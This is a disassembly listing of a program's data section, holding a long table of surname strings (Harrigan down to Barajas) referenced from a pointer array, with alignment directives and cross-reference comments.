aHarrigan	db 'Harrigan',0         ; DATA XREF: .data:0042E3D8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: .data:0042E3D4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: .data:0042E3D0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .data:0042E3CCo
aHanssen	db 'Hanssen',0          ; DATA XREF: .data:0042E3C8o
aHand		db 'Hand',0             ; DATA XREF: .data:0042E3C4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .data:0042E3C0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .data:0042E3BCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .data:0042E3B8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: .data:0042E3B4o
aHallowell	db 'Hallowell',0        ; DATA XREF: .data:0042E3B0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .data:0042E3ACo
aHaley		db 'Haley',0            ; DATA XREF: .data:0042E3A8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .data:0042E3A4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: .data:0042E3A0o
aHaar		db 'Haar',0             ; DATA XREF: .data:0042E39Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: .data:0042E398o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .data:0042E394o
aGunn		db 'Gunn',0             ; DATA XREF: .data:0042E390o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: .data:0042E38Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .data:0042E388o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .data:0042E384o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .data:0042E380o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .data:0042E37Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .data:0042E378o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .data:0042E374o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .data:0042E370o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .data:0042E36Co
aGozzi		db 'Gozzi',0            ; DATA XREF: .data:0042E368o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .data:0042E364o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: .data:0042E360o
		align 4
aGood		db 'Good',0             ; DATA XREF: .data:0042E35Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .data:0042E358o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .data:0042E354o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .data:0042E350o
aGlegg		db 'Glegg',0            ; DATA XREF: .data:0042E34Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .data:0042E348o
aGist		db 'Gist',0             ; DATA XREF: .data:0042E344o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .data:0042E340o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .data:0042E33Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: .data:0042E338o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .data:0042E334o
aGibson		db 'Gibson',0           ; DATA XREF: .data:0042E330o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .data:0042E32Co
aGhorai		db 'Ghorai',0           ; DATA XREF: .data:0042E328o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .data:0042E324o
aGeorgi		db 'Georgi',0           ; DATA XREF: .data:0042E320o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .data:0042E31Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .data:0042E318o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .data:0042E314o
aGarman		db 'Garman',0           ; DATA XREF: .data:0042E310o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: .data:0042E30Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .data:0042E308o
aGalwey		db 'Galwey',0           ; DATA XREF: .data:0042E304o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .data:0042E300o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .data:0042E2FCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .data:0042E2F8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .data:0042E2F4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .data:0042E2F0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .data:0042E2ECo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .data:0042E2E8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: .data:0042E2E4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .data:0042E2E0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .data:0042E2DCo
aFrisken	db 'Frisken',0          ; DATA XREF: .data:0042E2D8o
aFriedland	db 'Friedland',0        ; DATA XREF: .data:0042E2D4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: .data:0042E2D0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .data:0042E2CCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .data:0042E2C8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .data:0042E2C4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .data:0042E2C0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .data:0042E2BCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .data:0042E2B8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: .data:0042E2B4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .data:0042E2B0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: .data:0042E2ACo
aFortes		db 'Fortes',0           ; DATA XREF: .data:0042E2A8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: .data:0042E2A4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .data:0042E2A0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .data:0042E29Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .data:0042E298o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .data:0042E294o
aFisk		db 'Fisk',0             ; DATA XREF: .data:0042E290o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .data:0042E28Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: .data:0042E288o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .data:0042E284o
aFink		db 'Fink',0             ; DATA XREF: .data:0042E280o
		align 10h
aField		db 'Field',0            ; DATA XREF: .data:0042E27Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: .data:0042E278o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: .data:0042E274o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .data:0042E270o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .data:0042E26Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: .data:0042E268o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .data:0042E264o
aFeldman	db 'Feldman',0          ; DATA XREF: .data:0042E260o
aFejzo		db 'Fejzo',0            ; DATA XREF: .data:0042E25Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .data:0042E258o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: .data:0042E254o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .data:0042E250o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: .data:0042E24Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .data:0042E248o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: .data:0042E244o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .data:0042E240o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .data:0042E23Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: .data:0042E238o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .data:0042E234o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: .data:0042E230o
aEverett	db 'Everett',0          ; DATA XREF: .data:0042E22Co
aEuripides	db 'Euripides',0        ; DATA XREF: .data:0042E228o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .data:0042E224o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .data:0042E220o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .data:0042E21Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: .data:0042E218o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: .data:0042E214o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .data:0042E210o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: .data:0042E20Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .data:0042E208o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .data:0042E204o
aEncinas	db 'Encinas',0          ; DATA XREF: .data:0042E200o
aElvis		db 'Elvis',0            ; DATA XREF: .data:0042E1FCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .data:0042E1F8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .data:0042E1F4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: .data:0042E1F0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .data:0042E1ECo
aEdward		db 'Edward',0           ; DATA XREF: .data:0042E1E8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: .data:0042E1E4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .data:0042E1E0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: .data:0042E1DCo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .data:0042E1D8o
aEardley	db 'Eardley',0          ; DATA XREF: .data:0042E1D4o
aDwyer		db 'Dwyer',0            ; DATA XREF: .data:0042E1D0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: .data:0042E1CCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .data:0042E1C8o
aDuffin		db 'Duffin',0           ; DATA XREF: .data:0042E1C4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .data:0042E1C0o
aDrinker	db 'Drinker',0          ; DATA XREF: .data:0042E1BCo
aDowsland	db 'Dowsland',0         ; DATA XREF: .data:0042E1B8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .data:0042E1B4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: .data:0042E1B0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .data:0042E1ACo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: .data:0042E1A8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .data:0042E1A4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: .data:0042E1A0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .data:0042E19Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: .data:0042E198o
aDoherty	db 'Doherty',0          ; DATA XREF: .data:0042E194o
aDockery	db 'Dockery',0          ; DATA XREF: .data:0042E190o
aDirksen	db 'Dirksen',0          ; DATA XREF: .data:0042E18Co
aDionysius	db 'Dionysius',0        ; DATA XREF: .data:0042E188o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .data:0042E184o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .data:0042E180o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .data:0042E17Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .data:0042E178o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .data:0042E174o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .data:0042E170o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .data:0042E16Co
aDesombre	db 'Desombre',0         ; DATA XREF: .data:0042E168o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .data:0042E164o
aDenham		db 'Denham',0           ; DATA XREF: .data:0042E160o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .data:0042E15Co
aDemusz		db 'Demusz',0           ; DATA XREF: .data:0042E158o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .data:0042E154o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .data:0042E150o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0042E14Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .data:0042E148o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .data:0042E144o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .data:0042E140o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: .data:0042E13Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: .data:0042E138o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .data:0042E134o
aDerousse	db 'deRousse',0         ; DATA XREF: .data:0042E130o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .data:0042E12Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .data:0042E128o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .data:0042E124o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .data:0042E120o
aDavid		db 'David',0            ; DATA XREF: .data:0042E11Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .data:0042E118o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .data:0042E114o
		align 10h
aDas		db 'Das',0              ; DATA XREF: .data:0042E110o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0042E10Co
aDapice		db 'Dapice',0           ; DATA XREF: .data:0042E108o
		align 4
aDante		db 'Dante',0            ; DATA XREF: .data:0042E104o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: .data:0042E100o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .data:0042E0FCo
aDaly		db 'Daly',0             ; DATA XREF: .data:0042E0F8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .data:0042E0F4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .data:0042E0F0o
aCyders		db 'Cyders',0           ; DATA XREF: .data:0042E0ECo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .data:0042E0E8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .data:0042E0E4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .data:0042E0E0o
aCui		db 'Cui',0              ; DATA XREF: .data:0042E0DCo
aCroxton	db 'Croxton',0          ; DATA XREF: .data:0042E0D8o
aCroxen		db 'Croxen',0           ; DATA XREF: .data:0042E0D4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: .data:0042E0D0o
aCrocker	db 'Crocker',0          ; DATA XREF: .data:0042E0CCo
aCrawford	db 'Crawford',0         ; DATA XREF: .data:0042E0C8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .data:0042E0C4o
aCounter	db 'Counter',0          ; DATA XREF: .data:0042E0C0o
aCosmides	db 'Cosmides',0         ; DATA XREF: .data:0042E0BCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .data:0042E0B8o
aCorey		db 'Corey',0            ; DATA XREF: .data:0042E0B4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .data:0042E0B0o
aCondodina	db 'Condodina',0        ; DATA XREF: .data:0042E0ACo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .data:0042E0A8o
aComstock	db 'Comstock',0         ; DATA XREF: .data:0042E0A4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: .data:0042E09Co
					; .data:0042E0A0o
aCollis		db 'Collis',0           ; DATA XREF: .data:0042E098o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: .data:0042E094o
aColella	db 'Colella',0          ; DATA XREF: .data:0042E090o
aColdren	db 'Coldren',0          ; DATA XREF: .data:0042E08Co
aCoito		db 'Coito',0            ; DATA XREF: .data:0042E088o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: .data:0042E084o
aClow		db 'Clow',0             ; DATA XREF: .data:0042E080o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: .data:0042E07Co
aClement	db 'Clement',0          ; DATA XREF: .data:0042E078o
aClark		db 'Clark',0            ; DATA XREF: .data:0042E074o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .data:0042E070o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: .data:0042E06Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .data:0042E068o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .data:0042E064o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .data:0042E060o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .data:0042E05Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: .data:0042E058o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .data:0042E054o
aChristopher	db 'Christopher',0      ; DATA XREF: .data:0042E050o
aChristie	db 'Christie',0         ; DATA XREF: .data:0042E04Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .data:0042E048o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .data:0042E044o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: .data:0042E040o
aChinman	db 'Chinman',0          ; DATA XREF: .data:0042E03Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .data:0042E038o
aChilds		db 'Childs',0           ; DATA XREF: .data:0042E034o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .data:0042E030o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .data:0042E02Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .data:0042E028o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .data:0042E024o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .data:0042E020o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .data:0042E01Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: .data:0042E018o
aChapman	db 'Chapman',0          ; DATA XREF: .data:0042E014o
aCerioli	db 'Cerioli',0          ; DATA XREF: .data:0042E010o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .data:0042E00Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .data:0042E008o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .data:0042E004o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .data:0042E000o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .data:0042DFFCo
		align 10h
aCase		db 'Case',0             ; DATA XREF: .data:0042DFF8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .data:0042DFF4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .data:0042DFF0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .data:0042DFECo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .data:0042DFE8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .data:0042DFE4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .data:0042DFE0o
aCarlos		db 'Carlos',0           ; DATA XREF: .data:0042DFDCo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .data:0042DFD8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .data:0042DFD4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .data:0042DFD0o
aCapursi	db 'Capursi',0          ; DATA XREF: .data:0042DFCCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .data:0042DFC8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .data:0042DFC4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .data:0042DFC0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .data:0042DFBCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .data:0042DFB8o
aCanley		db 'Canley',0           ; DATA XREF: .data:0042DFB4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .data:0042DFB0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .data:0042DFACo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .data:0042DFA8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .data:0042DFA4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .data:0042DFA0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .data:0042DF9Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .data:0042DF98o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .data:0042DF94o
aBurridge	db 'Burridge',0         ; DATA XREF: .data:0042DF90o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .data:0042DF8Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: .data:0042DF88o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .data:0042DF84o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: .data:0042DF80o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .data:0042DF7Co
aBudding	db 'Budding',0          ; DATA XREF: .data:0042DF78o
aBuchan		db 'Buchan',0           ; DATA XREF: .data:0042DF74o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: .data:0042DF70o
aBrook		db 'Brook',0            ; DATA XREF: .data:0042DF6Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: .data:0042DF68o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .data:0042DF64o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: .data:0042DF60o
aBridges	db 'Bridges',0          ; DATA XREF: .data:0042DF5Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .data:0042DF58o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .data:0042DF50o
					; .data:0042DF54o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .data:0042DF4Co
aBrenan		db 'Brenan',0           ; DATA XREF: .data:0042DF48o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .data:0042DF44o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .data:0042DF40o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .data:0042DF3Co
aBradac		db 'Bradac',0           ; DATA XREF: .data:0042DF38o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .data:0042DF34o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: .data:0042DF30o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .data:0042DF2Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: .data:0042DF28o
aBoyes		db 'Boyes',0            ; DATA XREF: .data:0042DF24o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: .data:0042DF20o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .data:0042DF1Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .data:0042DF18o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .data:0042DF14o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .data:0042DF10o
aBoudin		db 'Boudin',0           ; DATA XREF: .data:0042DF0Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .data:0042DF08o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: .data:0042DF04o
aBossi		db 'Bossi',0            ; DATA XREF: .data:0042DF00o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: .data:0042DEFCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .data:0042DEF8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: .data:0042DEF4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .data:0042DEF0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .data:0042DEECo
		align 10h
aBook		db 'Book',0             ; DATA XREF: .data:0042DEE8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .data:0042DEE4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .data:0042DEE0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: .data:0042DEDCo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: .data:0042DED8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: .data:0042DED4o
aBollinger	db 'Bollinger',0        ; DATA XREF: .data:0042DED0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .data:0042DECCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .data:0042DEC8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .data:0042DEC4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .data:0042DEC0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .data:0042DEBCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .data:0042DEB8o
aBloch		db 'Bloch',0            ; DATA XREF: .data:0042DEB4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .data:0042DEB0o
aBliss		db 'Bliss',0            ; DATA XREF: .data:0042DEACo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .data:0042DEA8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .data:0042DEA4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .data:0042DEA0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: .data:0042DE9Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .data:0042DE98o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .data:0042DE94o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: .data:0042DE90o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .data:0042DE8Co
aBinion		db 'Binion',0           ; DATA XREF: .data:0042DE88o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .data:0042DE84o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .data:0042DE80o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .data:0042DE7Co
aBetti		db 'Betti',0            ; DATA XREF: .data:0042DE78o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .data:0042DE74o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .data:0042DE70o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .data:0042DE6Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: .data:0042DE68o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .data:0042DE64o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .data:0042DE60o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .data:0042DE5Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .data:0042DE58o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .data:0042DE54o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .data:0042DE50o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: .data:0042DE4Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .data:0042DE48o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .data:0042DE44o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .data:0042DE40o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: .data:0042DE3Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .data:0042DE38o
aBedford	db 'Bedford',0          ; DATA XREF: .data:0042DE34o
aBeder		db 'Beder',0            ; DATA XREF: .data:0042DE30o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .data:0042DE2Co
aBean		db 'Bean',0             ; DATA XREF: .data:0042DE28o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .data:0042DE24o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .data:0042DE20o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .data:0042DE1Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .data:0042DE18o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .data:0042DE14o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: .data:0042DE10o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .data:0042DE0Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .data:0042DE08o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .data:0042DE04o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .data:0042DE00o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .data:0042DDFCo
aBarry		db 'Barry',0            ; DATA XREF: .data:0042DDF8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .data:0042DDF4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .data:0042DDF0o
aBarneson	db 'Barneson',0         ; DATA XREF: .data:0042DDECo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .data:0042DDE8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .data:0042DDE4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: .data:0042DDE0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .data:0042DDDCo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .data:0042DDD8o
